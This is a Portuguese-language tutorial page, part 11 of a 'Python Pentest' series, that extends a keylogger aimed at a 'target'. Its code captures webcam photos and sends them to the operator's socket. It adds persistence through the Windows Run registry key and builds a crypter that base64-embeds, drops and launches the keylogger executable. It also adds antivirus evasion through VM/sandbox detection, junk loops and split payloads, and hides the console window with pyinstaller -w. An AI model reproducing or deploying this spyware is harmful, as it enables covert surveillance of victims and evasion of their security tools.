Aprenda Python Pentest

  • Página Inicial
  • Contato!
  • Tudo sobre Python Pentest Parte 1!
  • Tudo sobre Python Pentest Parte 2!
  • Tudo sobre Python Pentest Parte 3!
  • Tudo sobre Python Pentest Parte 4!
  • Tudo sobre Python Pentest Parte 5!
  • Tudo sobre Python Pentest Parte 6!
  • Tudo sobre Python Pentest Parte 7!
  • Tudo sobre Python Pentest Parte 8!
  • Tudo sobre Python Pentest Parte 9!
  • Tudo sobre Python Pentest Parte 10!
  • Tudo sobre Python Pentest Parte 11!
  • Tudo sobre Python Pentest Parte 12!
  • Tudo sobre Python Pentest Parte 13!
  • Tudo sobre Python Pentest Parte 11

    Capturando uma Foto da Câmera

    Pra tirar uma foto da webcam com o Python, primeiramente, vamos instalar a biblioteca opencv-python. Num arquivo de teste podemos fazer assim, de forma simples:

    
    import cv2
    
    cam = cv2.VideoCapture(0)
    
    if not cam.isOpened():
        print("Erro ao abrir a câmera!")
    else:
        sucess, rawData = cam.read()
    
        if sucess:
            sucess, data = cv2.imencode(".jpg", rawData)
    
            if sucess:
                imageData = data.tobytes()
    
                with open("foto-webcam.jpg", "wb") as arqCam:
                    arqCam.write(imageData)
            else:
                print("Erro ao codificar a imagem!")
        else:
            print("Erro ao capturar a imagem!")
    
    cam.release()
    
    

    As câmeras são contadas a partir do 0 (a padrão), geralmente PCs de mesa não costumam ter webcam, os notebooks tem uma só por padrão.

    PS: Algumas câmeras tem luz que liga ao tirar a imagem, por isso pode chamar a atenção do alvo, isso é controlado pelos firmwares da própria câmera.

    Daí, pra incluir isso no keylogger, basta definir essa função:

    
    def camShot(sock):
        cam = cv2.VideoCapture(0) # Import cv2
    
        if not cam.isOpened():
            sendData("alerta", "Erro ao abrir a câmera!", sock)
        else:
            sucess, rawData = cam.read()
    
            if sucess:
                sucess, data = cv2.imencode(".jpg", rawData)
    
                if sucess:
                    date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")  # Importe datetime
                    fileName = f"webcam-{date}.jpg"
                    imageData = data.tobytes()
                    
                    sendFile(fileName, imageData, sock)
                else:
                    sendData("alerta", "Erro ao codificar a imagem!", sock)
            else:
                sendData("alerta", "Erro ao capturar a imagem!", sock)
    
        cam.release()
    
    

    E no recvData do keylogger, basta adicionar esse elif abaixo do elif de screenshot:

    
    elif comando == "webcam":
        camShot(sock)
    
    

    Implementando Autorun

    O autorun é pra garantir que, quando o alvo reiniciar o Windows, nosso script continue funcionando. Para isso, usaremos a biblioteca winreg. No caso, ao executar pela primeira vez, ele enviará o nosso script para um diretório pouco mexido, como o Temp, e adicionará uma entrada no registro do Windows.

    Faça um arquivo de teste com esse código:

    
    import os
    import tempfile
    
    scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
    tempPath = tempfile.gettempdir() # Pasta temporária
    
    print(scriptPath)
    print(tempPath)
    
    

    Daí pra copiar o script pro Temp, fazemos assim:

    
    import os
    import shutil
    import tempfile
    
    scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
    tempPath = tempfile.gettempdir() # Pasta temporária
    
    shutil.copy(scriptPath, tempPath)
    
    

    Só que ele dará erro ao executar quando ele já estiver na Temp, então devemos fazer o tratamento no shutil assim:

    
    try:
        shutil.copy(scriptPath, tempPath)
    except shutil.SameFileError:
        pass
    
    

    Daí, pra adicionar chaves do registro, basicamente fazemos assim:

    
    import os
    import shutil
    import tempfile
    import winreg
    
    scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
    tempPath = tempfile.gettempdir() # Pasta temporária
    caminho = os.path.join(tempPath, os.path.basename(scriptPath))
    
    try:
        shutil.copy(scriptPath, tempPath)
    
        subChave = r"Software\Microsoft\Windows\CurrentVersion\Run" # O r anula todos os caracteres especiais, dispensando a barra invertida dupla
        nome = "MeuScriptTeste"
        registro = winreg.OpenKey(winreg.HKEY_CURRENT_USER, subChave, 0, winreg.KEY_SET_VALUE)
    
        winreg.SetValueEx(registro, nome, 0, winreg.REG_SZ, caminho)
    except shutil.SameFileError:
        pass
    
    

    Só que, ao empacotar o Python num exe, ele poderá dar problemas. Para compilar, instale o pyinstaller através do pip, depois pelo CMD, digite pyinstaller -F Teste.py. Ele gerará um executável, no entanto, ele não conseguirá colocar um script com extensão py pro Temp, já que a biblioteca os só pega o script Python. Para isso, altere a linha do scriptPath assim:

    
    if getattr(sys, "frozen", False): # Verifica se ele está congelado num exe, importe sys
        scriptPath = os.path.realpath(sys.executable)
    else:
        scriptPath = os.path.realpath(__file__)
    
    

    Daí, no keylogger, basta colocar essa função:

    
    # Importe sys, tempfile, shutil e winreg
    def autoRun():
        if getattr(sys, "frozen", False):  # Verifica se ele está congelado num exe
            scriptPath = os.path.realpath(sys.executable)
        else:
            scriptPath = os.path.realpath(__file__)  # Autoreferência ao script no caminho atual
    
        tempPath = tempfile.gettempdir()  # Pasta temporária
        caminho = os.path.join(tempPath, os.path.basename(scriptPath))
    
        try:
            shutil.copy(scriptPath, tempPath)
    
            subChave = r"Software\Microsoft\Windows\CurrentVersion\Run"  # O r anula todos os caracteres especiais
            nome = "Inicio"
            registro = winreg.OpenKey(winreg.HKEY_CURRENT_USER, subChave, 0, winreg.KEY_SET_VALUE)
    
            winreg.SetValueEx(registro, nome, 0, winreg.REG_SZ, caminho)
        except shutil.SameFileError:
            pass
    
    

    Daí, podemos colocar a invocação da função autoRun no final do script, antes do While True:

    
    autoRun()
    
    while True:
        sock = tentarConec()
    
        recvData(sock)
    
    

    Entendendo os Antivírus

    Os antivírus conseguem identificar facilmente nossos programas criados com o Python, até porque ele analisa diretamente o código-fonte dos mesmos. Podemos criar um executável com os scripts Python empacotados. Podemos colocar nossos scripts ou mesmo os executáveis no site Vírus Total pra ver quantos e quais antivírus detectam ele.

    Outras formas que os antivírus usam pra detectar malwares, é comparar a assinatura dos arquivos com as assinaturas de malwares que estão no banco de dados dos mesmos.

    Os antivírus modernos já utilizam a análise comportamental dos arquivos (como ver se ele adiciona determinadas chaves no registro ou criptografa arquivos), essa é a análise estática.

    Já a análise dinâmica analisa o que o malware faz em tempo de execução (ou seja, monitora a execução dos mesmos), mas isso, apesar de eficiente, consome muitos recursos do computador, por isso eles usam um meio-termo entre os dois.

    Muitos antivírus modernos, no entanto, usam uma IA para analisar os malwares.

    Podemos usar ofuscadores para mascarar nossos malwares, isso veremos mais pra frente.

    Criando um Ofuscador

    Podemos criar um crypter para que um antívirus, bot ou coisa parecida não analise nosso malware, pois este ofusca nosso malware de forma que ele seja injetado diretamente na memória.

    Vamos supor esse programa de teste:

    
    d = """
    print('Teste')
    """
    
    exec(d)
    
    

    No caso, a função exec executa tudo que está na string atribuída à variável d, no caso, o print com a string Teste.

    Uma outra forma muito utilizada é carregar nosso executável dentro do código, codificando o exe dele num código dentro do script Python. Dessa forma, mesmo ele sendo detectado, ele já estará executando o código.

    PS: No nosso keylogger, remova todos os prints para nada ser exibido pro alvo.

    Para empacotar nosso keylogger, utilize pyinstaller -F -w Keylogger.py. A opção -w é pra ele não executar nenhum console, pra que não chame a atenção do alvo. Claro que ele aparecerá no gerenciador de tarefas normalmente, apenas não será exibido nenhum prompt ou coisa parecida. Podemos também especificar um ícone com a opção -i, como -i nomedoicone.ico.

    Podemos carregar nosso exe, num código num novo arquivo (como Cripter.py) como esse:

    
    import sys
    
    with open(sys.argv[1], "rb") as arqExe:
        print(arqExe.read())
    
    

    Daí, é só passar o executável como argumento, no formato python Cripter.py Keylogger.exe.

    Deixe depois o mesmo código assim:

    
    import sys
    import base64
    
    with open(sys.argv[1], "rb") as arqExe:
        encCode = base64.b64encode(arqExe.read())
    
    rawCode = f"""
    encCode = {encCode}
    """
    
    with open("codigo.py", "w") as arqCod:
        arqCod.write(rawCode)
    
    os.chmod("codigo.py", 0o777)
    
    

    Aí, altere o rawCode assim:

    
    rawCode = f"""
    import base64
    
    encCode = {encCode}
    
    with open("code.exe", "wb") as arqExe:
        arqExe.write(base64.b64decode(encCode))
    """
    
    

    E depois assim (instale o psutil primeiro):

    
    rawCode = f"""
    import base64
    import psutil
    
    encCode = {encCode}
    
    with open("code.exe", "wb") as arqExe:
        arqExe.write(base64.b64decode(encCode))
        
    process = psutil.Popen("code.exe")
    
    while process.is_running():
        pass
    """
    
    

    Dentro do rawCode, deixe assim:

    
    rawCode = f"""
    import base64
    import psutil
    
    def criarProc():
        process = psutil.Popen("code.exe")
        
        while process.is_running():
            pass
            
    def filed():
        encCode = {encCode}
        
        return base64.b64decode(encCode)
    
    def saveFile():
        with open("code.exe", "wb") as arqExe:
            arqExe.write(filed())
            
    saveFile()
    criarProc()
    """
    
    

    Pode ser que assim, seja mais difícil (não impossível) de alguns antivírus o pegar. Fique de olho com comentários com caracteres unicode, pois podem dar erro ao gerar o script.

    Podemos fazer uma verificação se ele está sendo executando numa máquina virtual, como verificando a memória do mesmo, já que as VM tem memória e CPUs reduzidas, em contraste com um sistema principal. O mesmo vale pra sandbox de antivírus, que criam um ambiente distinto pra testar os programas pra ver se tem malwares.

    Pra pegar as CPUs físicas e lógicas, fazemos assim, num arquivo de teste:

    
    import psutil
    
    fCpu = psutil.cpu_count(logical = False) # CPUs físicas
    lCpu = psutil.cpu_count(logical = True) # CPUs lógicas
    cpu = fCpu + lCpu
    
    print(fCpu)
    print(lCpu)
    
    

    No exemplo, ele pode retornar, por exemplo, duas CPUs físicas e duas lógicas, totalizando 4 CPUs.

    Pra pegar a memória, fazemos assim:

    
    memTot = psutil.virtual_memory().total
    mem = memTot / (1024 ** 2) # Convertendo o valor de B pra MB
    
    print(mem)
    
    

    E pra verificar se é ou não máquina virtual:

    
    import psutil
    
    fCpu = psutil.cpu_count(logical = False) # CPUs físicas
    lCpu = psutil.cpu_count(logical = True) # CPUs lógicas
    cpu = fCpu + lCpu
    
    memTot = psutil.virtual_memory().total
    mem = memTot / (1024 ** 2) # Convertendo o valor de B pra MB
    
    if mem > 8000 and cpu >= 4:
        print("Não é Máquina Virtual!")
    else:
        print("É Máquina Virtual!")
    
    

    Daí, dentro das aspas de rawCode do Cripter, coloque isso no lugar da invocação das funções:

    
    fCpu = psutil.cpu_count(logical = False) # CPUs físicas
    lCpu = psutil.cpu_count(logical = True) # CPUs lógicas
    cpu = fCpu + lCpu
    
    memTot = psutil.virtual_memory().total
    mem = memTot / (1024 ** 2) # Convertendo o valor de B pra MB
    
    if mem > 8000 and cpu >= 4:
        saveFile()
        criarProc()
    else:
        exit()
    
    

    Daí, é só compilar o código Python gerado (como no caso, codigo.py).

    Pra dificultar a detecção de antivírus, podemos colocar o método filed assim:

    
    def filed():
        for i in range(65536):
            if i == False
                continue
    
        # O restante deixa igual
    
    

    E o if e else abaixo, deixe assim:

    
    if mem > 8000 and cpu >= 4:
        saveFile()
        criarProc()
    else:
        for i in range(65536):
            if i > 1024:
                exit()
    
    

    Isso é pra que um antivírus fique confuso ao tentar analisar o script, por não entender direito o que ele faz.

    Pra dividir um código base64, podemos fazer assim, num arquivo de teste:

    
    import base64
    import math
    
    with open("Keylogger.py", "r") as arqKey:
        encCode = base64.b64encode(arqKey.read()).decode()
    
        print(math.floor(len(encCode) / 2))
    
    

    Fazendo o mesmo com os executáveis:

    
    import base64
    import math
    
    with open("Keylogger.exe", "rb") as arqKey:
        encCode = base64.b64encode(arqKey.read()).decode()
    
        metade = math.floor(len(encCode) / 2)
    
        p1 = encCode[:metade]
        p2 = encCode[metade:]
    
    junto = p1 + p2
    
    with open("code.exe", "wb") as arqCod:
        arqCod.write(base64.b64decode(junto))
    
    

    E aí, no Cripter, deixe o primeiro with open assim:

    
    with open(sys.argv[1], "rb") as arqExe:
        encCode = base64.b64encode(arqExe.read()).decode()
        metade = math.floor(len(encCode) / 2)
    
        p1 = encCode[:metade]
        p2 = encCode[metade:]
    
    

    E deixe o método filed assim:

    
    def filed():
        p2 = {p2}
        
        for i in range(65536):
            if i == False:
                continue
                
        p1 = {p1} # p1 e p2 estão separados propositalmente
        x = 1
        
        while x < 30: # Mais um while pra confundir os antivírus
            x += 1
        
        junto = p1 + p2
        
        return base64.b64decode(junto)